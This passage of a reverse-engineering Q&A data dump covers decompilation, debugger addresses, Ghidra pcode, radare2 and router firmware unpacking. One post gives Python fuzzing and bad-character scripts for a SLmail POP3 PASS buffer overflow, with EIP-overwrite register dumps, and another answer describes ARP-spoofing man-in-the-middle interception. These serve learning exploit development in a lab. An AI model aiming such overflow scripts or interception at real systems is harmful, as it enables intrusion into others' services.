&lt;code&gt;libcrypto.so&lt;/code&gt; which is i think openssl library. Now debugging a a function called from main, named &lt;code&gt;process_data&lt;/code&gt; has this code as ghidra gave with some modification: &lt;a href=&quot;https://cdn.discordapp.com/attachments/716265091489595473/761480880060366848/mysql_zip.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;process_data_code&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, i know upto md5 part that it get data from message table and stores a row....... So, i came to md5sum part, its passing the variables to md5sum but i dont know what are the functions of md5sum parameters. If it were libc functions like snprintf or fputs i could see manpage or try googling but it didnt give me nice results. This stackoverflow answer&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uKydD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uKydD.png&quot; alt=&quot;Stackoverflow&quot; /&gt;&lt;/a&gt; says the first parameter is password, second is length of password&#xA;and third is some weird shit. So, if you see the code you will get md5sum has 4 parameters&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;md5sum(random_mysql_rows_bufarray,mysql_rows_buffer_length &amp;amp; 0xffffffff, filename_ofvarlocal, mysql_rows_buffer_length &amp;amp; 0xffffffff);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also, that answer says md5sum having 4 parameter isnt openssl md5. I just want to figure out what is the function of those 4 parameters in md5sum. Also if you could explain what is the weird &lt;code&gt;&amp;amp; 0xfffffff&lt;/code&gt; thing then it would be great! Here's the binary : &lt;a href=&quot;https://cdn.discordapp.com/attachments/716265091489595473/761489241875808266/revbinary&quot; rel=&quot;nofollow noreferrer&quot;&gt;reverse binary&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Yeah, md5sum takes 4 parameter, got it.&lt;/p&gt;&#xA;" OwnerUserId="34413" LastEditorUserId="34413" LastEditDate="2020-10-03T08:54:08.280" LastActivityDate="2020-10-03T08:54:08.280" Title="How do i identify parameters function of md5sum of specific binary?" Tags="|decompilation|elf|ghidra|binary|openssl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26029" PostTypeId="2" ParentId="26027" CreationDate="2020-10-02T07:39:36.987" Score="1" Body="&lt;p&gt;Have you noted the term &lt;code&gt;battlezone2.exe + &lt;/code&gt; before the address? That denotes the (usually random) base address of the executable.&lt;/p&gt;&#xA;&lt;p&gt;In IDA this base address is a fixed value e.g. &lt;code&gt;0x400000&lt;/code&gt;. Scroll to the beginning of the IDA View and check the &lt;code&gt;Imagebase&lt;/code&gt; value (hexadecimal). This value you have to add to every address shown in the Cheat engine.&lt;/p&gt;&#xA;&lt;p&gt;If debugging a process directly with IDA the database is automatically relocated to the correct address so you don't have to do the math yourself.&lt;/p&gt;&#xA;&lt;p&gt;Note: If I interpret the screen shots correctly 0x119EDD (0x519EDD) is the target address of the conditional jump command. Jump commands are used inside a sub, hence you don't leave the current sub and won't find this address in the sub list&lt;/p&gt;&#xA;" OwnerUserId="1848" LastEditorUserId="1848" LastEditDate="2020-10-02T10:00:10.503" LastActivityDate="2020-10-02T10:00:10.503" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26030" PostTypeId="1" CreationDate="2020-10-02T15:55:09.857" Score="2" ViewCount="1521" Body="&lt;p&gt;I'm trying to programmatically link decompiled code generated by HexRays with the disassembly code of a given binary by mapping memory addresses between the two. The mapping exists, as I can see view it through IDA on a case by case basis (see the line of decompiled code in green, associated with the memory address in gold, which lets me reference the disassembly. Clicking through different decompiled source lines links to different memory addresses/sets of disassembly lines). But I can't find any way to get at these associations via scripting (IDC, IDAPython, etc) or via the command line. This strikes me as strange, as I can't imagine that this functionality hasn't been sought out or used before.&lt;/p&gt;&#xA;&lt;p&gt;My end goal is to be able to read in a set of decompiled code line numbers, then return all the lines of disassembly which map to those decompiled code lines.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wcfur.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wcfur.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34560" LastActivityDate="2021-03-03T20:09:15.917" Title="IDA/HexRays: how do I retrieve the memory address associated with a given line of decompiled code?" Tags="|ida|decompilation|disassemblers|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26032" PostTypeId="1" CreationDate="2020-10-02T17:25:47.857" Score="1" ViewCount="498" Body="&lt;p&gt;According to this site, there are 3 bad characters in SLmail v5.5&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whitelist1.com/2016/11/xstack-overflow-1-exploiting-slmail.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whitelist1.com/2016/11/xstack-overflow-1-exploiting-slmail.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To sum it up, there are 3 bad characters that being interpreted&#xA;literally by the compiler, their immediate effect consist on&#xA;truncating the normal execution of the program. Once removed, the&#xA;buffer is executed correctly.&lt;/p&gt;&#xA;&lt;p&gt;0x00 = Null Byte = terminates a string copy operation. 0x0D = Carriage&#xA;Return = resets to the beginning of a line of text. 0x0A = Line Feed =&#xA;advances by the space of one line.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, I don't get similar result after removing these 3 characters.&lt;/p&gt;&#xA;&lt;p&gt;Here is the screenshot of my Immunity. Notice that there are a lot of C2 &amp;amp; C3 characters in it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dD2X8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dD2X8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registers&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;EAX 00000000&#xA;ECX 01C89EF0 ASCII &amp;quot;20/10/03 00:25:07 P3-0001: Illegal command 0(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#xA;&#xA;ESP 01C8A154&#xA;EBP 41414141&#xA;EIP 42424242&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Stack&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;01C8A148   41414141  AAAA&#xA;01C8A14C   41414141  AAAA&#xA;01C8A150   42424242  BBBB&#xA;01C8A154   04030201  &#xA;01C8A158   08070605  &#xA;01C8A15C   0E0C0B09  ..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hex dump&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;01C8A134  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA&#xA;01C8A144  41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42  AAAAAAAAAAAABBBB&#xA;01C8A154  01 02 03 04 05 06 07 08 09 0B 0C 0E 0F 10 11 12  ..&#xA;01C8A164  13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22   !&amp;quot;&#xA;01C8A174  23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32  #$%&amp;amp;'()*+,-./012&#xA;01C8A184  33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 42  3456789:;&amp;lt;=&amp;gt;?@AB&#xA;01C8A194  43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52  CDEFGHIJKLMNOPQR&#xA;01C8A1A4  53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 61 62  STUVWXYZ[\]^_`ab&#xA;01C8A1B4  63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72  cdefghijklmnopqr&#xA;01C8A1C4  73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F C2 80 C2  stuvwxyz{|}~Â€Â&#xA;01C8A1D4  81 C2 82 C2 83 C2 84 C2 85 C2 86 C2 87 C2 88 C2  Â‚ÂƒÂ„Â…Â†Â‡ÂˆÂ&#xA;01C8A1E4  89 C2 8A C2 8B C2 8C C2 8D C2 8E C2 8F C2 90 C2  ‰ÂŠÂ‹ÂŒÂÂŽÂÂÂ&#xA;01C8A1F4  91 C2 92 C2 93 C2 94 C2 95 C2 96 C2 97 C2 98 C2  ‘Â’Â“Â”Â•Â–Â—Â˜Â&#xA;01C8A204  99 C2 9A C2 9B C2 9C C2 9D C2 9E C2 9F C2 A0 C2  ™ÂšÂ›ÂœÂÂžÂŸÂ Â&#xA;01C8A214  A1 C2 A2 C2 A3 C2 A4 C2 A5 C2 A6 C2 A7 C2 A8 C2  ¡Â¢Â£Â¤Â¥Â¦Â§Â¨Â&#xA;01C8A224  A9 C2 AA C2 AB C2 AC C2 AD C2 AE C2 AF C2 B0 C2  ©ÂªÂ«Â¬Â­Â®Â¯Â°Â&#xA;01C8A234  B1 C2 B2 C2 B3 C2 B4 C2 B5 C2 B6 C2 B7 C2 B8 C2  ±Â²Â³Â´ÂµÂ¶Â·Â¸Â&#xA;01C8A244  B9 C2 BA C2 BB C2 BC C2 BD C2 BE C2 BF C3 80 C3  ¹ÂºÂ»Â¼Â½Â¾Â¿Ã€Ã&#xA;01C8A254  81 C3 82 C3 83 C3 84 C3 85 C3 86 C3 87 C3 88 C3  Ã‚ÃƒÃ„Ã…Ã†Ã‡ÃˆÃ&#xA;01C8A264  89 C3 8A C3 8B C3 8C C3 8D C3 8E C3 8F C3 90 C3  ‰ÃŠÃ‹ÃŒÃÃŽÃÃÃ&#xA;01C8A274  91 C3 92 C3 93 C3 94 C3 95 C3 96 C3 97 C3 98 C3  ‘Ã’Ã“Ã”Ã•Ã–Ã—Ã˜Ã&#xA;01C8A284  99 C3 9A C3 9B C3 9C C3 9D C3 9E C3 9F C3 A0 C3  ™ÃšÃ›ÃœÃÃžÃŸÃ Ã&#xA;01C8A294  A1 C3 A2 C3 A3 C3 A4 C3 A5 C3 A6 C3 A7 C3 A8 C3  ¡Ã¢Ã£Ã¤Ã¥Ã¦Ã§Ã¨Ã&#xA;01C8A2A4  A9 C3 AA C3 AB C3 AC C3 AD C3 AE C3 AF C3 B0 C3  ©ÃªÃ«Ã¬Ã­Ã®Ã¯Ã°Ã&#xA;01C8A2B4  B1 C3 B2 C3 B3 C3 B4 C3 B5 C3 B6 C3 B7 C3 B8 C3  ±Ã²Ã³Ã´ÃµÃ¶Ã·Ã¸Ã&#xA;01C8A2C4  B9 C3 BA C3 BB C3 BC C3 BD C3 BE C3 BF 29 20 69  ¹ÃºÃ»Ã¼Ã½Ã¾Ã¿) i&#xA;01C8A2D4  6E 20 73 74 61 74 65 20 35 00 00 00 00 00 00 00  n state 5.......&#xA;01C8A2E4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;01C8A2F4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I was using this code as a reference.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/coffeecoco/slmail/blob/master/pop3-pass-fuzz.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/coffeecoco/slmail/blob/master/pop3-pass-fuzz.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But since that was written for Python 2 and I'm using Python 3, I've modified the code a little bit as they're not really compatible with each other.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;script 1 as a fuzzer&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&#xA;&#xA;import socket&#xA;&#xA;buffer=[&amp;quot;A&amp;quot;]&#xA;counter=100&#xA;while len(buffer) &amp;lt;= 30:&#xA;    buffer.append(&amp;quot;A&amp;quot;*counter)&#xA;    counter=counter+200&#xA;&#xA;for string in buffer:&#xA;    print(&amp;quot;Fuzzing PASS with %s bytes&amp;quot; % len(string))&#xA;    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;    connect=s.connect(('127.0.0.1', 110))&#xA;    s.recv(1024)&#xA;    s.send(b'USER wolf\r\n')&#xA;    s.recv(1024)&#xA;    s.send(b'PASS ' + string.encode() + b'\r\n')&#xA;    s.send(b'QUIT\r\n')&#xA;s.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;script 2 - to identify bad characters&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;screenshot above was generated with this code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&#xA;&#xA;import socket&#xA;&#xA;# \x00, \x0a, and \x0d have been removed&#xA;badCharacters = (&#xA;&amp;quot;\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f&amp;quot;&#xA;&amp;quot;\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f&amp;quot;&#xA;&amp;quot;\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f&amp;quot;&#xA;&amp;quot;\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f&amp;quot;&#xA;&amp;quot;\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f&amp;quot;&#xA;&amp;quot;\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f&amp;quot;&#xA;&amp;quot;\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f&amp;quot;&#xA;&amp;quot;\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f&amp;quot;&#xA;&amp;quot;\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f&amp;quot;&#xA;&amp;quot;\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f&amp;quot;&#xA;&amp;quot;\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf&amp;quot;&#xA;&amp;quot;\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf&amp;quot;&#xA;&amp;quot;\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf&amp;quot;&#xA;&amp;quot;\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf&amp;quot;&#xA;&amp;quot;\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef&amp;quot;&#xA;&amp;quot;\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&amp;quot;&#xA;)&#xA;&#xA;string = &amp;quot;A&amp;quot; * 2606 + &amp;quot;B&amp;quot; * 4 + badCharacters&#xA;&#xA;print(&amp;quot;Fuzzing PASS with %s bytes&amp;quot; % len(string))&#xA;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#xA;connect=s.connect(('127.0.0.1', 110))&#xA;s.recv(1024)&#xA;s.send(b'USER wolf\r\n')&#xA;s.recv(1024)&#xA;s.send(b'PASS ' + string.encode() + b'\r\n')&#xA;s.send(b'QUIT\r\n')&#xA;s.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34561" LastEditorUserId="34561" LastEditDate="2020-10-03T09:33:39.007" LastActivityDate="2020-10-03T09:33:39.007" Title="What are C2 &amp; C3 characters in SLmail bad characters?" Tags="|immunity-debugger|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26033" PostTypeId="2" ParentId="21320" CreationDate="2020-10-02T17:33:12.230" Score="3" Body="&lt;p&gt;If you want to do this using the pcode API, you will have to examine the arguments to the &lt;a href=&quot;https://ghidra.re/courses/languages/html/additionalpcode.html#cpui_ptrsub&quot; rel=&quot;nofollow noreferrer&quot;&gt;PTRSUB&lt;/a&gt; operation, which is the equivalent of &lt;code&gt;-&amp;gt;&lt;/code&gt; on the C level.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A PTRSUB performs the simple pointer calculation, input0 + input1, but also indicates explicitly that input0 is a reference to a structured data-type and one of its subcomponents is being accessed. Input0 is a pointer to the beginning of the structure, and input1 is a byte offset to the subcomponent. As an operation, PTRSUB produces a pointer to the subcomponent and stores it in output.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Note that the &lt;code&gt;PTRSUB&lt;/code&gt; operation is not a part of the raw pcode posted in the question, but it is inserted by the decompiler during the analysis process. Quoting the documentation again:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The following opcodes are not generated as part of the raw translation of a machine instruction into p-code operations, so none of them can be used in a processor specification. But, they may be introduced at a later stage by various analysis algorithms.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The following code will find all calls to a structure offset in a given function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DecompileResults results = decompiler.decompileFunction(function,&#xA;    decompiler.getOptions().getDefaultTimeout(), monitor);&#xA;HighFunction hfunc = results.getHighFunction();&#xA;&#xA;for(PCodeOpAST op : hfunc.getPcodeOps()) {&#xA;    if (op.getOpcode() == PcodeOp.CALLIND) {&#xA;        Varnode funcAddress = op.getInput(0);&#xA;&#xA;        while (funcAddress.getDef().getOpcode() == PcodeOp.LOAD)&#xA;            funcAddress = funcAddress.getDef().getInput(1);&#xA;&#xA;        if (funcAddress.getDef().getOpcode() == PcodeOp.PTRSUB) {&#xA;            Varnode struct = funcAddress.getDef().getInput(0);&#xA;            Varnode field = funcAddress.getDef().getInput(1);&#xA;&#xA;            DataType structDataType = struct.getHigh().getDataType();&#xA;            while(structDataType instanceof Pointer || structDataType instanceof TypeDef) {&#xA;                if (structDataType instanceof Pointer)&#xA;                    structDataType = ((Pointer)structDataType).getDataType();&#xA;                else if (structDataType instanceof TypeDef)&#xA;                    structDataType = ((TypeDef)structDataType).getDataType();&#xA;            }&#xA;&#xA;            if (structDataType instanceof Structure &amp;amp;&amp;amp; field.isConstant()) {&#xA;                Structure structure = (Structure) structDataType;&#xA;                int offset = (int)field.getOffset();&#xA;&#xA;                DataTypeComponent component = structure.getComponentAt(offset);&#xA;                System.out.println(&amp;quot;Call to &amp;quot; + component.getFieldName() +&#xA;                    &amp;quot; in &amp;quot; + structure.getName());&#xA;                for (int i = 1; i &amp;lt; op.getNumInputs(); ++i) {  // 0 is the function address, 1+ are arguments&#xA;                    System.out.println(&amp;quot; with argument &amp;quot; + i + &amp;quot; = &amp;quot; + op.getInput(i).getAddress());&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Alternatively, you can search for all references to the FindClass field in the program instead, but note that this will list all types of references, not just calls:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DataType jniEnvDataType = program.getDataTypeManager().getDataType(&amp;quot;/jni_all.h/JNIEnv&amp;quot;);&#xA;Accumulator&amp;lt;LocationReference&amp;gt; accumulator = new ListAccumulator&amp;lt;&amp;gt;();&#xA;ReferenceUtils.findDataTypeReferences(accumulator, jniEnvDataType, &amp;quot;FindClass&amp;quot;,&#xA;    program, TaskMonitor.DUMMY);&#xA;for(LocationReference location : accumulator) {&#xA;    System.out.println(location.getLocationOfUse());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(this is basically the equivalent of &amp;quot;Find Uses of JNIEnv.FindClass ...&amp;quot; in the UI)&lt;/p&gt;&#xA;" OwnerUserId="34548" LastEditorUserId="34548" LastEditDate="2020-10-02T19:29:20.600" LastActivityDate="2020-10-02T19:29:20.600" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26034" PostTypeId="2" ParentId="26028" CreationDate="2020-10-02T20:23:25.403" Score="0" Body="&lt;p&gt;the file command says the binary is unstripped you shouldn't have much problem identifying the arguments&lt;/p&gt;&#xA;&lt;p&gt;the &amp;amp;0xffffffff is a mask to get a 32 bit value from a 64 bit value&lt;/p&gt;&#xA;&lt;p&gt;for example if a function is proto typed as &lt;code&gt;ulong64 foo(ulong64 a, ulong b);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;as x64 calling convention uses 6 registers in linux system ABI  &lt;a href=&quot;https://stackoverflow.com/questions/17437191/function-parameters-transferred-in-registers-on-64bit-os&quot;&gt;RDI, RSI, RDX, RCX, R8, and R9&lt;/a&gt;  you cannot simply pass rsi without zeroing the upper 32 bits&lt;/p&gt;&#xA;&lt;p&gt;the &amp;amp; 0xffffffff zeros the upper 32 bits of 64 bit register&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; a = 0x123456789abcdef0&#xA;&amp;gt;&amp;gt;&amp;gt; b = a &amp;amp; 0xffffffff&#xA;&amp;gt;&amp;gt;&amp;gt; print(&amp;quot;val32=%016x\nval64=%016x\n&amp;quot; % (b,a))&#xA;val32=000000009abcdef0&#xA;val64=123456789abcdef0 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;if the line you pasted is from ghidra then ghidra might be mistaking the use of a register you can over ride the function signature&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-10-02T20:23:25.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26036" PostTypeId="1" AcceptedAnswerId="26050" CreationDate="2020-10-03T15:41:35.650" Score="0" ViewCount="238" Body="&lt;p&gt;Firstly Hello,&lt;/p&gt;&#xA;&lt;p&gt;this is my first post on this forum even though im reading alot here.&lt;/p&gt;&#xA;&lt;p&gt;Im trying to get into reversing and Low-Level stuff in general lately, and im a bit stuck right here.&lt;/p&gt;&#xA;&lt;p&gt;I did read alot about the PE-File Format and how virtual memory and loading exes into the memory works. Right now im just reversing/debugging a simple HelloWorld written in C++ to understand whats going on.&lt;/p&gt;&#xA;&lt;p&gt;Im just looking at it with radare2 and dont really understand what radare does when it opens a file.&#xA;I thought its like a hexeditor with additional functionality like disassembly and detecting functions and more. But when im going to address 0x0 in radare2 it doesnt match 0x0 when i look at the file in my hexeditor. More precicly radare2 does seem to set everything apart from a certain area around entry0 to be 0xff.&lt;/p&gt;&#xA;&lt;p&gt;So my guess is that radare2 is trying to show how the file would look like if its loaded in memory with resolved tables for imported functions and stuff.&lt;/p&gt;&#xA;&lt;p&gt;The thing is im not really sure what im supposed to google to verify this. Thats why im asking here.&lt;/p&gt;&#xA;&lt;p&gt;If someone could give me a little bit of insight on what is going on there would make my day. ;)&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="34568" LastActivityDate="2020-10-04T20:22:18.063" Title="How does radare2 create its memory layout?" Tags="|radare2|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26037" PostTypeId="1" CreationDate="2020-10-03T16:00:44.337" Score="1" ViewCount="249" Body="&lt;p&gt;i'm newbie to all the subject of RE so this question may sound easy.&#xA;on OllyDbg i see a lot of references to EBP &amp;amp; i can not understand to which stack frame does EBP belongs to, since there are many pointers to SS:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DUgEo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DUgEo.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34569" LastActivityDate="2020-11-03T23:00:15.040" Title="How to find out what stack frame EBP belongs to" Tags="|windows|ollydbg|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26038" PostTypeId="2" ParentId="24881" CreationDate="2020-10-03T20:58:37.393" Score="1" Body="&lt;p&gt;I did something similar with a WiFi microscope (webcam with a lens on it). I used Ettercap for a unified man-in-the-middle attack with ARP spoofing, so that my phone and the camera communicated through my computer, and Wireshark to log the data. From there it was fairly simple to see what packets the app is sending, and what the camera is sending in response. I was then able to send those magic packets from my computer to the camera and get the camera to start sending data to my computer (see &lt;a href=&quot;https://unix.stackexchange.com/questions/612667/sending-multiple-packets-of-hex-data-with-udp&quot;&gt;this question&lt;/a&gt; for how). Decoding the data will be the next problem.&lt;/p&gt;&#xA;&lt;p&gt;In my case, the camera is expecting a set of 11 &amp;quot;initiation packets&amp;quot; sent to a specific UDP port. When it receives them, it starts churning out UDP packets to a specific UDP port on the IP address it got the initiation packets from. I wouldn't be surprised if yours is similar.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, decompile the app as mentioned &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/18938/reversing-video-protocol-for-chinese-drone-so-i-can-view-the-stream-outside-of-t&quot;&gt;here&lt;/a&gt; and investigate the code.&lt;/p&gt;&#xA;" OwnerUserId="34571" LastEditorUserId="34571" LastEditDate="2020-10-03T21:10:54.507" LastActivityDate="2020-10-03T21:10:54.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26039" PostTypeId="1" CreationDate="2020-10-03T21:21:40.770" Score="1" ViewCount="1399" Body="&lt;p&gt;I'm trying to reverse engineering the router's TP-Link TD-W8961N V3 firmware.&#xA;After following the same question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13664/reverse-engineering-tp-link-td-w8961n&quot;&gt;here&lt;/a&gt;&#xA;i used the script &lt;a href=&quot;https://github.com/dev-zzo/router-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;zynos.py&lt;/a&gt; for unpacking the firmware and i got some files&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;-rw-r--r-- 1 root root    2048 Sep 30 03:33 CertFile.rom&#xA;-rw-r--r-- 1 root root  350208 Sep 30 03:33 fmmudata&#xA;-rw-r--r-- 1 root root    1024 Sep 30 03:33 headmmu&#xA;-rw-r--r-- 1 root root      28 Sep 30 03:33 HTPCode&#xA;-rw-r--r-- 1 root root   32768 Sep 30 03:33 HTPCode.rom&#xA;drwxr-xr-x 2 root root    4096 Sep 30 15:54 _HTPCode.rom.extracted&#xA;-rw-r--r-- 1 root root    2048 Sep 30 03:33 huffmmu&#xA;-rw-r--r-- 1 root root    1024 Sep 30 03:33 LedDefi&#xA;-rw-r--r-- 1 root root    8192 Sep 30 03:33 LogoImg&#xA;-rw-r--r-- 1 root root    8192 Sep 30 03:33 LogoImg2&#xA;-rw-r--r-- 1 root root    3072 Sep 30 03:33 MemMapT&#xA;-rw-r--r-- 1 root root      28 Sep 30 03:33 RasCode&#xA;-rw-r--r-- 1 root root 1163194 Sep 30 03:33 RasCode.rom&#xA;drwxr-xr-x 2 root root    4096 Oct  1 18:39 _RasCode.rom.extracted&#xA;-rw-r--r-- 1 root root    8192 Sep 30 03:33 RomDefa&#xA;-rw-r--r-- 1 root root    1024 Sep 30 03:33 Rt11nE2p&#xA;-rw-r--r-- 1 root root     512 Sep 30 03:33 SIDList.rom&#xA;-rw-r--r-- 1 root root    4096 Sep 30 03:33 SKUTBL.rom&#xA;-rw-r--r-- 1 root root  245760 Sep 30 03:33 StrImag&#xA;-rw-r--r-- 1 root root    1024 Sep 30 03:33 termcap&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I used binwalk to extract the files HTPCode.rom and RasCode.rom.&#xA;After looking at the &lt;a href=&quot;https://github.com/dev-zzo/router-tools/blob/master/zynos.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;zynos.md&lt;/a&gt;, i find more informations about the extracted files&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Memory mapping and objects&#xA;All inspected devices so far contain at least these objects: MemMapT, BootBas, BootExt, RasCode, RomDefa, termcap.&#xA;&#xA;The MemMapT object maps the memory mapping table -- its actual location and size in ROM.&#xA;The BootBas object maps the BootBase code -- the initial program loader for the device. It is not actually contained within the firmware update image, but I have seen a few firmware releases from ZyXEL that contain BootBase update in a separate file. Apart from boot code, BootBase contains vendor and model names. BootBase is rather small, typically 16K, but then, it does not need to do much except loading stage 2.&#xA;The BootExt object maps the BootExtension code -- stage 2 program loader. It also contains rudimentary debugging facilities allowing to recover the device in case of e.g. problems with configuration. BootExtension is responsible to load actual ZyNOS code.&#xA;The RasCode object contains the OS image (named RAS -- acronym?) -- the final stage.&#xA;The RomDefa object contains ROMFILE with default configuration settings.&#xA;The termcap object contains what looks like, well, termcap description. I am not sure this is actually used anywhere in code.&#xA;Objects with unknown 